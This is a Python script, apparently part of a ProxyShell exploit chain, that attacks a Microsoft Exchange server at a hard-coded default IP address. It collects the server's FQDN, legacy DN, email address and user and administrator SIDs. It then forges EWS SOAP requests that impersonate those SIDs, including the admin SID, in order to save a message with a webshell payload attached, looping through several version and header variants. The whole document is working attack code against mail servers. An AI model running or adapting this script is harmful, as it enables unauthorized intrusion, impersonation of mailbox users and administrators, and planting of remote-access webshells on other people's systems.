#!/usr/bin/env python3
import sys, re, base64, binascii, struct
sys.path.insert(0, '.')
import ps_driver as P
import requests

ip = sys.argv[1] if len(sys.argv) > 1 else '179.1.102.69'
ps = P.ProxyShell(f"https://{ip}", timeout=15)
print("fqdn:", ps.get_fqdn())
print("legacydn:", ps.get_legacydn())
print("email:", ps.email)
sid = ps.get_sid()
print("sid:", sid, "admin_sid:", ps.admin_sid)

payload = P.webshell_payload()
mail = ps.email

def build(sidv, ver, extra_hdr=""):
    return '''<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Header><t:RequestServerVersion Version="{ver}" />{extra}<t:SerializedSecurityContext><t:UserSid>{sid}</t:UserSid><t:GroupSids><t:GroupIdentifier><t:SecurityIdentifier>S-1-5-21</t:SecurityIdentifier></t:GroupIdentifier></t:GroupSids></t:SerializedSecurityContext></soap:Header><soap:Body><m:CreateItem MessageDisposition="SaveOnly"><m:Items><t:Message><t:Subject>{subj}</t:Subject><t:Body BodyType="HTML">hello</t:Body><t:Attachments><t:FileAttachment><t:Name>FileAttachment.txt</t:Name><t:IsInline>false</t:IsInline><t:IsContactPhoto>false</t:IsContactPhoto><t:Content>{payload}</t:Content></t:FileAttachment></t:Attachments><t:ToRecipients><t:Mailbox><t:EmailAddress>{mail}</t:EmailAddress></t:Mailbox></t:ToRecipients></t:Message></m:Items></m:CreateItem></soap:Body></soap:Envelope>'''.format(ver=ver, sid=sidv, subj=P.subj_, payload=payload, mail=mail, extra=extra_hdr)

for label, sidv, ver, extra in [
    ("orig-2016", sid, "Exchange2016", ""),
    ("admin-2016", ps.admin_sid, "Exchange2016", ""),
    ("orig-2010", sid, "Exchange2010_SP2", ""),
    ("orig-2016-anchor", sid, "Exchange2016", f'<t:MailboxCulture>en-US</t:MailboxCulture>'),
]:
    r = ps.post('/ews/exchange.asmx', build(sidv, ver, extra), {"Content-Type": "text/xml", "X-AnchorMailbox": mail})
    print(f"--- {label} status={r.status_code} len={len(r.content)}")
    print(repr(r.text[:800]))